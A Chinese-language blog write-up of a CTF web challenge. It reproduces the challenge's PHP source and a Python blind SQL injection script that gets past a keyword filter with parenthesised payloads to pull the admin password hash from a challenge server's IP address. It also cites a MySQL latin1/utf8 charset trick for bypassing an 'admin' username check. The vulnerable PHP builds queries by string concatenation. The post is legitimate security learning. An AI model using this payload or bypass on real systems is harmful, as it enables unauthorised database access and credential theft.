不知道什么比赛的一道WEB

/ 0评 / 0

看到群里发的 拿出来做了一下,学到了蛮多知识的,所以这里做一下记录


<?php
include("config.php");
$conn ->query("set names utf8");
function randStr($lenth=32){
    $strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";
    $str = "";
    while($lenth>0){
      $str.=substr($strBase,rand(0,strlen($strBase)-1),1);
      $lenth --;
    }
   return $str;
}
if($install){
    $sql = "create table <code class="prettyprint" >user ( id int(10) unsigned NOT NULL PRIMARY KEY AUTO_INCREMENT , username varchar(30) NOT NULL, passwd varchar(32) NOT NULL, role varchar(30) NOT NULL )ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci "; if($conn->query($sql)){ $sql = "insert into user(username,passwd,role) values ('admin','".md5(randStr())."','admin')"; $conn -> query($sql); } } function filter($str){ $filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i"; if(preg_match($filter,$str)){ die("you can't input this illegal char!"); } return $str; } function show($username){ global $conn; $sql = "select role from user where username ='".$username."'"; $res = $conn ->query($sql); if($res->num_rows>0){ echo "$username is ".$res->fetch_assoc()['role']; }else{ die("Don't have this user!"); } } function login($username,$passwd){ global $conn; global $flag; $username = trim(strtolower($username)); $passwd = trim(strtolower($passwd)); if($username == 'admin'){ die("you can't login this as admin!"); } $sql = "select * from user where username='".$conn->escape_string($username)."' and passwd='".$conn->escape_string($passwd)."'"; $res = $conn ->query($sql); if($res->num_rows>0){ if($res->fetch_assoc()['role'] === 'admin') exit($flag); }else{ echo "sorry,username or passwd error!"; } } function source(){ highlight_file(__FILE__); } $username = isset($_POST['username'])?filter($_POST['username']):""; $passwd = isset($_POST['passwd'])?filter($_POST['passwd']):""; $action = isset($_GET['action'])?filter($_GET['action']):"source"; switch($action){ case "source": source(); break ; case "login" : login($username,$passwd);break; case "show" : show($username);break; }

审计可以发现这是一道sql注入题目,给了表名列名。所以直接查,过滤了空格用 () 绕就行

import requests
url="http://121.36.104.216:10093/?action=show"
flag=''
for x in range(1,33):
    for i in range(33,125):
        con="admin'/(ascii(substr((select(passwd)from(user))from(%d)))<%d)=1='1" % (x,i)
        payload={
            "username": con
        }
        s=requests.post(url,data=payload)
        if 'admin'  in s.content:
            flag += chr(i-1)
            print flag
            break

学到一个知识,admin'/(ascii(substr((select(passwd)from(user))from(%d)))<%d)=1='1
看这段代码 'admin'/()=1=1
如果为1.就是admin/1=1=1
admin/1 返回0
admin/0 返回null
完成盲注

然后注意到
if($username == 'admin'){ die("you can't login this as admin!"); }
if($res->num_rows>0){ if($res->fetch_assoc()['role'] === 'admin') exit($flag); }else{ echo "sorry,username or passwd error!"; }
要求我们用admin登录,但是不能用admin
注意这句话
$conn ->query("set names utf8");
在默认情况下,mysql字符集为latin1,而执行了set names utf8;以后,character_set_clientcharacter_set_connectioncharacter_set_results等与客户端相关的配置字符集都变成了utf8,但character_set_databasecharacter_set_server等服务端相关的字符集还是latin1。
这就是该Trick的核心,因为这一条语句,导致客户端、服务端的字符集出现了差别。既然有差别,Mysql在执行查询的时候,就涉及到字符集的转换。
具体请见P神博客
Mysql字符编码利用技巧

拿到flag

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注